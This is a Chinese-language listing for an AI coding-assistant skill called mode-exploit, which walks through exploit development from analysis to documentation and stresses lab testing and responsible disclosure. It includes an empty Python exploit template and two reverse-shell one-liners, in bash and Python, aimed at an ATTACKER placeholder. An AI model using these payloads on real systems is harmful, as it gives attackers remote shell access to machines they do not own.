mcpField
M
mode-exploit

mode-exploit

github.com/duck4nh安全1542 次安装37 周前更新
代码仓库

关于 mode-exploit

mode-exploit 是用于漏洞利用开发的流程指南,面向在受控环境中研究和验证漏洞的安全人员。它涵盖漏洞分析、研究、编写利用代码、测试与文档记录,并强调负责任披露。

主要功能

  1. 01按阶段组织漏洞利用开发
  2. 02提供 Python 利用代码框架
  3. 03列出常见载荷示例
  4. 04强调先在实验环境测试
  5. 05要求记录影响与清理步骤

适用场景

  1. 01分析漏洞根因并查找相关案例
  2. 02编写漏洞概念验证代码
  3. 03在受控环境验证利用效果
  4. 04整理使用说明与修复清理步骤

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/duck4nh/antigravity-kit --skill mode-exploit

安装后在 Claude Code 中输入/mode-exploit确认已加载。

详细介绍

漏洞利用开发模式

工作流程

  1. 分析 → 了解漏洞及其根本原因
  2. 研究 → 查找类似的漏洞利用、CVE 和技术
  3. 开发 → 编写漏洞利用代码
  4. 测试 → 在受控环境中验证
  5. 记录 → PoC、使用说明和影响

漏洞利用模板(Python)

#!/usr/bin/env python3
"""
Exploit: [CVE-XXXX-XXXX / Vuln Name]
Target: [Software/Version]
Type: [RCE/SQLi/LFI/etc]
Author: [Name]
"""

import argparse
import requests

def exploit(target: str, cmd: str = "id") -> str:
    """Main exploit logic"""
    # Exploit code here
    pass

def main():
    parser = argparse.ArgumentParser(description="Exploit description")
    parser.add_argument("target", help="Target URL/IP")
    parser.add_argument("-c", "--cmd", default="id", help="Command to execute")
    args = parser.parse_args()
    
    result = exploit(args.target, args.cmd)
    print(result)

if __name__ == "__main__":
    main()

常见载荷

# Reverse shell (bash)
bash -i >& /dev/tcp/ATTACKER/PORT 0>&1

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

原则

  • 先在实验环境中测试
  • 清晰记录所有步骤
  • 包含清理和恢复步骤
  • 遵循负责任的漏洞披露原则

评论

支持 Markdown